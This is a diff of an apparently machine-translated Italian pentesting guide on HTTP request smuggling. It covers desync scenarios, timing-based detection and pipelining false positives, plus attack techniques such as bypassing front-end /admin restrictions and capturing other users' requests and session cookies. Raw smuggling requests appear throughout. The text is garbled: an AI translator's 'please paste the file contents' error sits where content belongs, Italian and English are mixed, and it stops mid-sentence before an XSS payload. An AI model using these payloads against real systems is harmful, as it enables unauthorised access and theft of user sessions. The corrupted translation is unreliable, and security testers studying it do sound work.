+- A seconda di quale server (front-end o back-end) non riconosce l'obfuscation, si può sfruttare una vulnerabilità CL.TE o TE.CL.
+- La parte non processata della request, come vista da uno dei server, diventa parte di una request successiva, portando a smuggling.
 - **Esempio:**
 
 ```
@@ -130,10 +147,10 @@ Transfer-Encoding
 : chunked
 ```
 
-#### **CL.CL Scenario (Content-Length usato sia dal Front-End che dal Back-End)**
+#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Entrambi i server processano la request basandosi unicamente sull'header `Content-Length`.
-- Questo scenario tipicamente non porta a smuggling, dato che c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della request.
+- Entrambi i server processano la request basandosi esclusivamente sull'header `Content-Length`.
+- Questo scenario tipicamente non porta a smuggling, poiché c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della request.
 - **Esempio:**
 
 ```
@@ -147,8 +164,8 @@ Normal Request
 
 #### **CL.0 Scenario**
 
-- Si riferisce a scenari in cui l'header `Content-Length` è presente ed ha un valore diverso da zero, indicando che il body della request contiene dati. Il back-end ignora l'header `Content-Length` (che è trattato come 0), ma il front-end lo analizza.
-- È cruciale per comprendere e costruire attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
+- Si riferisce a scenari dove l'header `Content-Length` è presente e ha un valore diverso da zero, indicando che il body della request ha contenuto. Il back-end ignora l'header `Content-Length` (che viene trattato come 0), ma il front-end lo analizza.
+- È cruciale per comprendere e creare attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
 - **Esempio:**
 
 ```
@@ -163,7 +180,7 @@ Non-Empty Body
 #### TE.0 Scenario
 
 - Come il precedente ma usando TE
-- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Tecnica [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Esempio**:
 ```
 OPTIONS / HTTP/1.1
@@ -182,19 +199,43 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
+#### `0.CL` Scenario
+
+In una situazione `0.CL` viene inviata una request con un Content-Length come:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7
+
+GET /404 HTTP/1.1
+X: Y
+```
+Il front-end non tiene conto del `Content-Length`, quindi invia solo la prima request al backend (fino al 7 nell'esempio). Tuttavia il backend vede il `Content-Length` e aspetta un body che non arriva mai, perché il front-end è già in attesa della response.
+
+Se invece è possibile inviare al backend una request che venga risposta prima di ricevere il suo body, questo deadlock non si verifica. In IIS, ad esempio, questo accade inviando request a nomi riservati come `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), in questo modo la request iniziale viene risposta direttamente e la seconda request conterrà la request della victim come:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Questo è utile per causare una desync, ma finora non avrà alcun impatto.
+
+Tuttavia, il post offre una soluzione convertendo una **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+
 #### Rompere il web server
 
-Questa tecnica è anche utile in scenari in cui è possibile **break a web server while reading the initial HTTP data** ma **senza chiudere la connessione**. In questo modo, il **body** della richiesta HTTP sarà considerato la **next HTTP request**.
+Questa tecnica è utile anche in scenari in cui è possibile **rompere un web server mentre si leggono i dati HTTP iniziali** ma **senza chiudere la connessione**. In questo modo, il **body** della richiesta HTTP sarà considerato la **next HTTP request**.
 
-Per esempio, come spiegato in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** e questo avrebbe fatto **break** il server. Tuttavia, se la connessione HTTP era stata creata con l'header **`Connection: keep-alive`**, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il **body** della richiesta sarà trattato come la **next HTTP request**.
+Per esempio, come spiegato in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug era possibile inviare alcuni caratteri **Unicode** che avrebbero fatto **break** il server. Tuttavia, se la connessione HTTP era stata creata con l'header **`Connection: keep-alive`**, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il **body** della richiesta sarà trattato come la **next HTTP request**.
 
-#### Forzare via hop-by-hop headers
+#### Forzare tramite hop-by-hop headers
 
-Abusando degli hop-by-hop headers potresti indicare al proxy di **cancellare l'header Content-Length o Transfer-Encoding in modo da rendere possibile un HTTP request smuggling da sfruttare**.
+Abusando degli hop-by-hop headers si può indicare al proxy di **cancellare l'header Content-Length o Transfer-Encoding, rendendo possibile sfruttare un HTTP request smuggling**.
 ```
 Connection: Content-Length
 ```
-Per **maggiori informazioni sugli hop-by-hop headers** visita:
+Per **more information about hop-by-hop headers** visita:
 
 
 {{#ref}}
@@ -203,14 +244,14 @@ Per **maggiori informazioni sugli hop-by-hop headers** visita:
 
 ## Individuazione di HTTP Request Smuggling
 
-Identificare le vulnerabilità di HTTP request smuggling può spesso essere fatto usando tecniche di timing, che si basano sull'osservazione del tempo che il server impiega a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:
+Identificare vulnerabilità di HTTP request smuggling può spesso essere ottenuto utilizzando tecniche basate sul timing, che si basano sull'osservazione di quanto tempo impiega il server a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:
 
-### Individuare vulnerabilità CL.TE con tecniche di timing
+### Individuazione di vulnerabilità CL.TE con tecniche di timing
 
-- **Metodo:**
+- **Method:**
 
-- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.
-- **Esempio:**
+- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
+- **Example:**
 
 ```
 POST / HTTP/1.1
@@ -224,20 +265,20 @@ A
 0
 ```
 
-- **Osservazione:**
-- Il front-end elabora la richiesta basandosi su `Content-Length` e tronca il messaggio prematuramente.
-- Il back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.
+- **Observation:**
+- Il server front-end elabora la richiesta basandosi su `Content-Length` e tronca il messaggio prematuramente.
+- Il server back-end, aspettandosi un messaggio chunked, aspetta il chunk successivo che non arriva mai, causando un ritardo.
 
-- **Indicatori:**
+- **Indicators:**
 - Timeout o lunghi ritardi nella risposta.
-- Ricezione di un errore 400 Bad Request dal back-end, talvolta con informazioni dettagliate sul server.
+- Ricezione di un errore 400 Bad Request dal server back-end, a volte con informazioni dettagliate sul server.
 
-### Individuare vulnerabilità TE.CL con tecniche di timing
+### Individuazione di vulnerabilità TE.CL con tecniche di timing
 
-- **Metodo:**
+- **Method:**
 
-- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.
-- **Esempio:**
+- Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end aspetti dati aggiuntivi.
+- **Example:**
 
 ```
 POST / HTTP/1.1
@@ -250,42 +291,50 @@ Content-Length: 6
 X
 ```
 
-- **Osservazione:**
-- Il front-end elabora la richiesta basandosi su `Transfer-Encoding` e inoltra l'intero messaggio.
-- Il back-end, aspettandosi un messaggio basato su `Content-Length`, attende dati aggiuntivi che non arrivano mai, causando un ritardo.
+- **Observation:**
+- Il server front-end elabora la richiesta basandosi su `Transfer-Encoding` e inoltra l'intero messaggio.
+- Il server back-end, aspettandosi un messaggio basato su `Content-Length`, aspetta dati aggiuntivi che non arrivano mai, causando un ritardo.
 
 ### Altri metodi per individuare vulnerabilità
 
 - **Analisi differenziale delle risposte:**
-- Invia versioni leggermente diverse di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nel parsing.
-- **Uso di strumenti automatizzati:**
+- Inviare versioni leggermente diverse di una richiesta e osservare se le risposte del server differiscono in modo inatteso, indicando una discrepanza nel parsing.
+- **Uso di strumenti automatici:**
 - Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
-- **Test di varianza di Content-Length:**
-- Invia richieste con valori `Content-Length` variabili che non corrispondono alla lunghezza reale del contenuto e osserva come il server gestisce tali discrepanze.
-- **Test di varianza di Transfer-Encoding:**
-- Invia richieste con header `Transfer-Encoding` offuscati o malformati e monitora come front-end e back-end rispondono differentemente a tali manipolazioni.
+- **Test di variabilità di Content-Length:**
+- Inviare richieste con valori `Content-Length` variabili che non corrispondono alla lunghezza effettiva del contenuto e osservare come il server gestisce tali discrepanze.
+- **Test di variabilità di Transfer-Encoding:**
+- Inviare richieste con header `Transfer-Encoding` offuscati o malformati e monitorare come front-end e back-end rispondono in modo differente a tali manipolazioni.
 
-### Test delle vulnerabilità di HTTP Request Smuggling
+### L'header `Expect: 100-continue`
 
-Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, per esempio facendo in modo che una richiesta a `/` produca una risposta 404. Gli esempi `CL.TE` e `TE.CL` discussi in [Basic Examples](#basic-examples) mostrano come avvelenare la richiesta di un client per ottenere una 404, nonostante il client stia cercando di accedere a una risorsa diversa.
+Check how this header can help exploiting a http desync in:
+
+{{#ref}}
+../special-http-headers.md
+{{#endref}}
+
+### HTTP Request Smuggling Vulnerability Testing
+
+Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste del client possono essere manipolate. Un metodo semplice è provare a avvelenare le tue richieste, per esempio facendo in modo che una richiesta a `/` restituisca un 404. Gli esempi CL.TE e TE.CL discussi in precedenza in [Basic Examples](#basic-examples) mostrano come avvelenare la richiesta di un client per ottenere una risposta 404, nonostante il client mirasse ad accedere a una risorsa diversa.
 
 **Considerazioni chiave**
 
 Quando testi per vulnerabilità di request smuggling interferendo con altre richieste, tieni presente:
 
-- **Connessioni di rete distinte:** Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non valida la presenza della vulnerabilità.
-- **URL e parametri coerenti:** Cerca di usare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a specifici back-end in base a URL e parametri. Farle corrispondere aumenta la probabilità che entrambe siano processate dallo stesso server, condizione necessaria per un attacco riuscito.
-- **Tempi e condizioni di race:** La richiesta "normal", pensata per rilevare l'interferenza dalla richiesta "attack", compete con altre richieste concorrenti dell'applicazione. Pertanto invia la richiesta "normal" immediatamente dopo quella "attack". Applicazioni molto trafficate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
-- **Sfide del load balancing:** I front-end che agiscono come load balancer possono distribuire le richieste su diversi sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere diversi tentativi per confermare una vulnerabilità.
-- **Impatto involontario sugli utenti:** Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non sulla richiesta "normal" che hai inviato per il rilevamento), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero perturbare altri utenti, richiedendo un approccio cauto.
+- **Connessioni di rete distinte:** Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non convalida la presenza della vulnerabilità.
+- **URL e parametri coerenti:** Cerca di usare URL identici e gli stessi nomi di parametri per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a specifici server back-end in base a URL e parametri. Far corrispondere questi elementi aumenta la probabilità che entrambe le richieste siano elaborate dallo stesso server, prerequisito per un attacco riuscito.
+- **Tempi e condizioni di race:** La richiesta "normal", destinata a rilevare l'interferenza dalla richiesta "attack", gareggia contro altre richieste concorrenti dell'applicazione. Perciò invia la richiesta "normal" immediatamente dopo la richiesta "attack". Applicazioni molto trafficate possono richiedere più tentativi per una conferma conclusiva della vulnerabilità.
+- **Sfide di load balancing:** I server front-end che agiscono come load balancer possono distribuire le richieste su vari sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere più tentativi per confermare una vulnerabilità.
+- **Impatto involontario sugli utenti:** Se il tuo attacco incide involontariamente sulla richiesta di un altro utente (non sulla richiesta "normal" che hai inviato per il rilevamento), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero disturbare altri utenti, richiedendo un approccio prudente.
 
-## Distinguere artefatti di pipelining HTTP/1.1 da genuine request smuggling
+## Distinguere gli artefatti di pipelining HTTP/1.1 dal vero request smuggling
 
-Il riuso della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" negli strumenti di testing che inviano più richieste sullo stesso socket. Impara a separare artefatti innocui lato client da una reale desincronizzazione lato server.
+Il riuso della connessione (keep-alive) e il pipelining possono facilmente creare illusioni di "smuggling" negli strumenti di testing che inviano più richieste sullo stesso socket. Impara a separare gli artefatti innocui lato client da un vero desync lato server.
 
 ### Perché il pipelining crea falsi positivi classici
 
-HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è reinviare un payload malformato in stile CL.0 due volte sulla stessa connessione:
+HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining, il client invia più richieste in rapida successione e si affida a risposte in ordine. Un falso positivo comune è reinviare due volte un payload malformato in stile CL.0 sulla stessa connessione:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -294,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Non hai fornito il contenuto del file src/pentesting-web/http-request-smuggling/README.md. Per favore incolla qui il testo che vuoi tradurre in italiano (manterrò intatta la sintassi markdown/html, i tag e i link).
+I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here (or upload it). I will then translate the English text to Italian, preserving all markdown, code blocks, tags, links, refs and paths exactly as you requested.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -308,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Se il server ha ignorato il `Content_Length` malformato, non c'è FE↔BE desync. Con reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:
+Se il server ha ignorato il `Content_Length` malformato, non c'è desync FE↔BE. Con reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -322,42 +371,42 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. You just desynced your client from the server framing.
+Impatto: nessuno. Hai semplicemente desynced il tuo client dal framing del server.
 
 > [!TIP]
-> Moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
+> I moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con `requestsPerConnection>1`, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" o "Enable connection reuse".
 
-### Litmus tests: pipelining or real desync?
+### Test fondamentali: pipelining o desync reale?
 
-1. Disable reuse and re-test
+1. Disabilita reuse e riprova
 - In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita "Send group in sequence".
 - In Turbo Intruder, imposta `requestsPerConnection=1` e `pipeline=False`.
-- Se il comportamento scompare, era probabilmente pipelining lato client, a meno che non ti trovi di fronte a target connection-locked/stateful o a desync lato client.
-2. HTTP/2 nested-response check
-- Invia una request HTTP/2. Se il body della response contiene una completa nested HTTP/1 response, hai dimostrato un bug di parsing/desync lato backend invece di un puro artefatto client.
-3. Partial-requests probe for connection-locked front-ends
-- Alcuni FE riutilizzano la connessione upstream al BE solo se il client ha riutilizzato la sua. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
+- Se il comportamento scompare, probabilmente si trattava di pipelining lato client, a meno che tu non stia trattando con target connection-locked/stateful o con desync lato client.
+2. Controllo nested-response via HTTP/2
+- Invia una richiesta HTTP/2. Se il body della risposta contiene una completa nested HTTP/1 response, hai dimostrato un bug di parsing/desync lato backend invece di un mero artefatto client.
+3. Probe partial-requests per front-end connection-locked
+- Alcuni FE riutilizzano la connessione upstream verso il BE solo se il client ha riutilizzato la sua. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
 - Vedi PortSwigger "Browser‑Powered Desync Attacks" per la tecnica connection-locked.
-4. State probes
-- Cerca differenze tra prima e richieste successive sulla stessa connessione TCP (routing/validazione della first-request).
-- Burp "HTTP Request Smuggler" include una connection‑state probe che automatizza questo controllo.
-5. Visualize the wire
-- Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenazione e framing dei messaggi direttamente mentre sperimenti con reuse e partial requests.
+4. Prove di stato
+- Cerca differenze tra first- e subsequent-request sulla stessa connessione TCP (first-request routing/validation).
+- Burp "HTTP Request Smuggler" include una connection‑state probe che automatizza questo.
+5. Visualizza il wire
+- Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenation e message framing direttamente mentre sperimenti con reuse e partial requests.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la sua. Lo smuggling reale esiste ma è condizionato dal reuse lato client. Per distinguere e dimostrare l'impatto:
+Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la sua. Lo smuggling reale esiste ma è condizionato al reuse lato client. Per distinguere e dimostrare l'impatto:
 - Dimostra il bug lato server
 - Usa il controllo HTTP/2 nested-response, oppure
-- Usa partial-requests per mostrare che il FE riutilizza upstream solo quando lo fa il client.
+- Usa partial-requests per mostrare che il FE riutilizza l'upstream solo quando lo fa il client.
 - Mostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
-- Cache poisoning: avvelena cache condivise tramite il desync in modo che le risposte influenzino altri utenti.
-- Internal header disclosure: rifletti header iniettati dal FE (es. auth/trust headers) e pivot verso auth bypass.
-- Bypass FE controls: smuggle percorsi/metodi restritti oltre il front-end.
-- Host-header abuse: combina con quirks di host routing per pivotare verso vhost interni.
-- Operator workflow
+- Cache poisoning: inquina shared caches tramite il desync in modo che le risposte influenzino altri utenti.
+- Internal header disclosure: riflettere FE-injected headers (es., auth/trust headers) e pivotare verso auth bypass.
+- Bypass FE controls: smuggle restricted paths/methods past the front-end.
+- Host-header abuse: combina con host routing quirks per pivotare verso internal vhosts.
+- Workflow dell'operatore
 - Riproduci con reuse controllato (Turbo Intruder `requestsPerConnection=2`, o Burp Repeater tab group → "Send group in sequence (single connection)").
-- Poi effettua la catena verso primitive di cache/header-leak/control-bypass e dimostra impatto cross-user o di autorizzazione.
+- Poi concatena a primitive cache/header-leak/control-bypass e dimostra impatto cross-user o di autorizzazione.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
 >
@@ -367,7 +416,7 @@ Alcuni front-end riutilizzano la connessione upstream solo quando il client riut
 
 ### Client‑side desync constraints
 
-Se punti a browser-powered/client-side desync, la request maligna deve poter essere inviata da un browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o front-end control bypass dove componenti downstream riflettono o cachano le risposte.
+Se stai prendendo di mira browser-powered/client-side desync, la richiesta malevola deve poter essere inviata dal browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili via navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o front-end control bypass dove componenti downstream riflettono o cachano risposte.
 
 Per background e workflow end-to-end:
 
@@ -377,21 +426,21 @@ browser-http-request-smuggling.md
 
 ### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): espone comportamento HTTP a basso livello e concatenazione di socket.
+- HTTP Hacker (Burp BApp Store): espone il comportamento HTTP a basso livello e la socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
 - Turbo Intruder: controllo preciso sul connection reuse tramite `requestsPerConnection`.
-- Burp HTTP Request Smuggler: include una connection‑state probe per identificare routing/validazione della first‑request.
+- Burp HTTP Request Smuggler: include una connection‑state probe per individuare first‑request routing/validation.
 
 > [!NOTE]
-> Considera gli effetti legati solo al reuse come non-issue a meno che tu non possa provare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ecc.).
+> Tratta gli effetti dovuti solo al reuse come non-problemi a meno che tu non riesca a dimostrare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
 
-## Abusing HTTP Request Smuggling
+## Abuso di HTTP Request Smuggling
 
 ### Circumventing Front-End Security via HTTP Request Smuggling
 
-A volte i proxy front-end applicano misure di sicurezza, esaminando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo accesso non autorizzato a endpoint riservati. Per esempio, l'accesso a `/admin` potrebbe essere proibito dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy può disattendere l'ispezione delle richieste incorporate all'interno di una HTTP Request Smuggling, lasciando una falla per aggirare tali restrizioni.
+A volte, i proxy front-end applicano misure di sicurezza che scrutinano le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, permettendo accesso non autorizzato a endpoint ristretti. Per esempio, l'accesso a `/admin` potrebbe essere proibito dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Nonostante ciò, questo proxy potrebbe non ispezionare le richieste embedded all'interno di una richiesta HTTP smuggled, lasciando una falla per bypassare queste restrizioni.
 
-Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere usato per bypassare i controlli di sicurezza del front-end, prendendo di mira specificamente il percorso `/admin` che è tipicamente protetto dal proxy front-end:
+Considera i seguenti esempi che illustrano come HTTP Request Smuggling possa essere usato per aggirare i controlli di sicurezza del front-end, prendendo specificamente di mira il percorso `/admin` che è tipicamente protetto dal proxy front-end:
 
 **CL.TE Example**
 ```
@@ -410,9 +459,9 @@ Content-Length: 10
 
 x=
 ```
-Nell'attacco CL.TE, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione `Transfer-Encoding: chunked`. Il proxy front-end elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, consentendo l'accesso non autorizzato al percorso `/admin`.
+In the CL.TE attack, l'intestazione `Content-Length` viene sfruttata per la richiesta iniziale, mentre la successiva richiesta incorporata utilizza l'intestazione `Transfer-Encoding: chunked`. Il front-end proxy elabora la richiesta `POST` iniziale ma non riesce a ispezionare la richiesta incorporata `GET /admin`, consentendo l'accesso non autorizzato al percorso `/admin`.
 
-**TE.CL Example**
+**TE.CL Esempio**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -428,13 +477,13 @@ a=x
 0
 
 ```
-Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la successiva richiesta incorporata viene processata in base all'intestazione `Content-Length`. Analogamente all'attacco CL.TE, il front-end proxy ignora la smuggled `GET /admin` request, concedendo involontariamente l'accesso al percorso riservato `/admin`.
+Al contrario, nell'attacco TE.CL la richiesta iniziale `POST` utilizza `Transfer-Encoding: chunked`, e la richiesta incorporata successiva viene elaborata in base all'intestazione `Content-Length`. Analogamente all'attacco CL.TE, il front-end proxy trascura la smuggled `GET /admin` request, concedendo involontariamente l'accesso al percorso protetto `/admin`.
 
-### Rivelare la riscrittura delle richieste sul front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
+### Revealing front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
 
-Le applicazioni spesso impiegano un **front-end server** per modificare le richieste in ingresso prima di inoltrarle al **back-end server**. Una modifica tipica consiste nell'aggiungere header, ad esempio `X-Forwarded-For: <IP of the client>`, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypass protections** o **uncover concealed information or endpoints**.
+Le applicazioni spesso impiegano un **front-end server** per modificare le richieste in ingresso prima di inoltrarle al back-end server. Una modifica tipica consiste nell'aggiungere headers, come `X-Forwarded-For: <IP of the client>`, per inoltrare l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypass protections** o **uncover concealed information or endpoints**.
 
-Per indagare come un proxy altera una richiesta, individua un parametro POST che il back-end riflette nella risposta. Poi costruisci una richiesta, usando questo parametro per ultimo, simile alla seguente:
+Per verificare come un proxy altera una richiesta, individua un parametro `POST` che il back-end ripete nella risposta. Poi, crea una richiesta, usando questo parametro per ultimo, simile alla seguente:
 ```
 POST / HTTP/1.1
 Host: vulnerable-website.com
@@ -451,19 +500,19 @@ Content-Length: 100
 
 search=
 ```
-In questa struttura, i componenti delle request successive vengono aggiunti dopo `search=`, che è il parameter riflesso nella response. Questa reflection esporrà gli headers della request successiva.
+In questa struttura, i componenti delle richieste successive vengono aggiunti dopo `search=`, che è il parametro riflesso nella risposta. Questa riflessione esporrà gli header della richiesta successiva.
 
-È importante allineare l'header `Content-Length` della request annidata con la lunghezza effettiva del contenuto. È consigliabile partire da un valore piccolo e incrementarlo gradualmente, perché un valore troppo basso troncherà i dati riflessi, mentre uno troppo alto può far fallire la request.
+È importante allineare l'header `Content-Length` della richiesta annidata con la lunghezza effettiva del contenuto. È consigliabile partire con un valore piccolo e incrementarlo gradualmente, poiché un valore troppo basso troncherà i dati riflessi, mentre un valore troppo alto può causare errori nella richiesta.
 
-Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la request dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parameter search.
+Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.
 
-Questo metodo serve principalmente a capire le modifiche alle request effettuate dal front-end proxy, svolgendo essenzialmente un'indagine autonoma.
+Questo metodo serve principalmente per comprendere le modifiche alle richieste effettuate dal front-end proxy, eseguendo essenzialmente un'indagine autoguidata.
 
 ### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
 
-È possibile catturare le request dell'utente successivo apponendo una request specifica come valore di un parameter durante un'operazione POST. Ecco come può essere realizzato:
+È possibile catturare le richieste dell'utente successivo aggiungendo una specifica request come valore di un parametro durante un'operazione POST. Ecco come può essere fatto:
 
-Appendendo la seguente request come valore di un parameter, puoi memorizzare la request del client successivo:
+Aggiungendo la seguente request come valore di un parametro, è possibile memorizzare la richiesta del client successivo:
 ```
 POST / HTTP/1.1
 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
 
 csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
 ```
-In questo scenario, il **comment parameter** è pensato per memorizzare i contenuti della sezione commenti di un post su una pagina pubblica. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.
+In questo scenario, il **comment parameter** è destinato a memorizzare il contenuto della sezione commenti di un post su una pagina accessibile pubblicamente. Di conseguenza, il contenuto della richiesta successiva apparirà come commento.
 
-Tuttavia, questa tecnica ha delle limitazioni. Generalmente cattura i dati solo fino al delimitatore del parametro usato nella smuggled request. Per le sottomissioni di form codificate in URL, questo delimitatore è il carattere `&`. Questo significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo `&`, che potrebbe anche far parte della query string.
+Tuttavia, questa tecnica ha dei limiti. Generalmente cattura i dati solo fino al delimitatore di parametro usato nella smuggled request. Per le URL-encoded form submissions, questo delimitatore è il carattere `&`. Ciò significa che il contenuto catturato dalla richiesta dell'utente vittima si interromperà al primo `&`, che potrebbe anche far parte della query string.
 
-Inoltre, vale la pena notare che questo approccio funziona anche in presenza di una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.
+Inoltre, vale la pena notare che questo approccio è valido anche con una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con `search=\r\n0`. Indipendentemente dai caratteri di nuova riga, i valori verranno aggiunti al parametro search.
 
-### Using HTTP request smuggling to exploit reflected XSS
+### Usare HTTP Request Smuggling per sfruttare Reflected XSS
 
-HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
+HTTP Request Smuggling può essere impiegato per sfruttare pagine web vulnerabili a **Reflected XSS**, offrendo vantaggi significativi:
 
-- L'interazione con gli utenti target **non è richiesta**.
-- Consente lo sfruttamento di XSS in parti della richiesta che sono **normalmente irraggiungibili**, come HTTP request headers.
+- L'interazione con gli utenti target non è **necessaria**.
+- Permette lo sfruttamento di XSS in parti della richiesta che sono **normalmente inaccessibili**, come gli HTTP request headers.
 
-In scenari in cui un sito web è suscettibile a Reflected XSS tramite il User-Agent header, il seguente payload dimostra come sfruttare questa vulnerabilità:
